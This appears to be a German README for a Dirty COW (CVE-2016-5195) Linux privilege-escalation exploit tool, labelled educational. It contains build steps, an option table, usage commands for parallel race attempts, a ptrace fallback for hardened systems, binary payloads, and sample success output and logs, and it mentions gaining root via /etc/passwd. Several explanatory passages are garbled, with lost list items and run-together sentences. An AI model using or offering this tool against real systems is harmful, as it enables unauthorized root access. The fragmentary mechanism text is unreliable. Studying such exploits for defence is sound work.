
Lehrreicher PoC für Dirty COW (CVE-2016-5195) mit Protokollierung, ptrace-Fallback und Unterstützung für binäre Payloads.
Dieser Code dient AUSSCHLIESSLICH ZWECKEN DER BILDUNG. Jede böswillige Verwendung ist strengstens verboten und illegal.
Dirty COW (CVE-2016-5195) ist eine Privilegieneskalations-Schwachstelle im Linux-Kernel, die eine Race Condition im Copy-on-Write-Mechanismus (COW) des Kernels ausnutzt. Diese Schwachstelle betrifft Linux-Kernel von Version 2.6.22 (veröffentlicht 2007) bis zu Versionen vor:
Die Schwachstelle tritt im Speicherverwaltungssystem des Kernels auf:
MAP_PRIVATE abbildet, sollten Änderungen eine private Kopie erstellenmadvise(MADV_DONTNEED) und dem Schreiben in /proc/self/mem/etc/passwd zu erlangenFühren Sie dies NIEMALS auf Produktionssystemen oder Systemen aus, die Ihnen nicht gehören!
# 1. Check kernel version first
uname -r
# 2. Create isolated test directory
mkdir /tmp/dirtycow_test
cd /tmp/dirtycow_test
# 3. Test with harmless files only
./main -t /tmp/test_file -v
# 4. Monitor system resources
top -p $(pgrep -f main)
# Install required packages (Ubuntu/Debian)
sudo apt-get update
sudo apt-get install build-essential libssl-dev
# Install required packages (CentOS/RHEL)
sudo yum install gcc openssl-devel
# Standard compilation
make
# Debug version
make main-debug
# Manual compilation
gcc -o main main.c -lpthread -lssl -lcrypto
# Simple test with default settings
./main
# Verbose mode with custom target
./main -t /tmp/testfile -v
# Advanced usage with multiple processes
./main -t /tmp/target -n 4 -r 3 -D -v
# Binary payload from file
./main -f payload.bin -P -D -n 2
| Option | Beschreibung | Standard | Max |
|---|---|---|---|
-t <file> | Ziel-Dateipfad | /tmp/dirty_cow_test | - |
-p <payload> | Benutzerdefinierte Textnutzlast | Testzeichenfolge | - |
-f <file> | Binäre Nutzlast aus Datei laden | - | - |
-i <num> | Anzahl der Iterationen | 10.000.000 | 100.000.000 |
-n <num> | Anzahl paralleler Prozesse | 1 | 8 |
-r <num> | Wiederholungsversuche | 1 | 10 |
-P | ptrace anstelle von /proc/self/mem verwenden | Deaktiviert | - |
-D | Dynamisches Offset-Scannen aktivieren | Deaktiviert | - |
-v | Ausführliche Ausgabe | Deaktiviert | - |
-l <file> | Pfad zur Protokolldatei | exploit_log.txt | - |
-h | Hilfe anzeigen | - | - |
/proc/self/mem (Standard)ptrace(PTRACE_POKETEXT) für eingeschränkte SystemeScannt mehrere Speicheroffsets, um die beste Schreibposition zu finden:
./main -D -v # Enable dynamic offset scanning
Starten Sie mehrere Prozesse für intensive Race Conditions:
./main -n 4 # Use 4 parallel processes
Beliebige Binärdaten aus Dateien laden:
# Create binary payload
echo -ne '\x41\x41\x41\x41\x00\x42\x42' > payload.bin
# Use binary payload
./main -f payload.bin -v
Fehlgeschlagene Versuche automatisch erneut versuchen:
./main -r 5 # Retry up to 5 times
Verwendet SHA-256-Hashing, um Dateiänderungen zu überprüfen:
# Check original vs modified file hashes
./main -v # Shows hash comparison in verbose mode
Dirty COW Educational PoC (CVE-2016-5195)
==========================================
=== SYSTEM INFORMATION ===
Kernel Version: Linux 4.4.0-generic
Architecture: x86_64
Current User: testuser
UID/GID: 1000/1000
=== VULNERABILITY CHECK ===
Kernel: Linux version 4.4.0-generic
[+] /proc/self/mem accessible
=== STARTING TEST ===
=== EXPLOIT EXECUTION ===
[+] Target: /tmp/dirty_cow_test
[+] Payload length: 32 bytes
[+] Iterations: 10000000
[+] Processes: 1
[+] Method: /proc/self/mem
[+] Dynamic offset: disabled
[+] Backup created: /tmp/dirty_cow_test.backup
[+] Original content: original-content-before-exploit
[+] Starting race condition test...
[+] EXPLOIT SUCCESSFUL on attempt 1!
[+] File hash changed - modification confirmed!
[+] Original: a1b2c3d4e5f6...
[+] Final: f6e5d4c3b2a1...
=== TEST SUCCESSFUL ===
[+] File modification completed
[+] Educational objective achieved
[+] Statistics: 156789 writes, 1 successful, 2.347 sec
Das Tool erstellt detaillierte Protokolle in exploit_log.txt:
[2024-01-15 10:30:45] System Info - UID/GID: 1000/1000
[2024-01-15 10:30:45] Kernel version: Linux version 4.4.0-generic
[2024-01-15 10:30:45] /proc/self/mem accessible
[2024-01-15 10:30:45] Starting exploit - Target: /tmp/test, Payload: 32 bytes
[2024-01-15 10:30:47] EXPLOIT SUCCESSFUL on attempt 1
[2024-01-15 10:30:47] Final stats - Writes: 156789, Successful: 1, Duration: 2.347 sec
# Test basic exploit functionality
./main -t /tmp/basic_test -v
# High-intensity race condition test
./main -i 50000000 -n 4 -r 3 -D -v
# Test when /proc/self/mem is blocked
./main -P -D -v
# Test with binary data containing null bytes
echo -ne 'BINARY\x00DATA\x01\x02\x03' > test.bin
./main -f test.bin -v
Der Exploit funktioniert, indem er eine Race Condition zwischen zwei Operationen erzeugt:
madvise(MADV_DONTNEED) – weist den Kernel an, Speicherseiten zu verwerfen/proc/self/mem – versucht, in den gemappten Speicher zu schreibenMAP_PRIVATE gemappt seinWenn die Race Condition erfolgreich ist:
1. „Exploit failed or insufficient iterations“
-i oder verwenden Sie mehrere Prozesse -n2. „/proc/self/mem access failed“
-P3. „System may not be vulnerable“
uname -r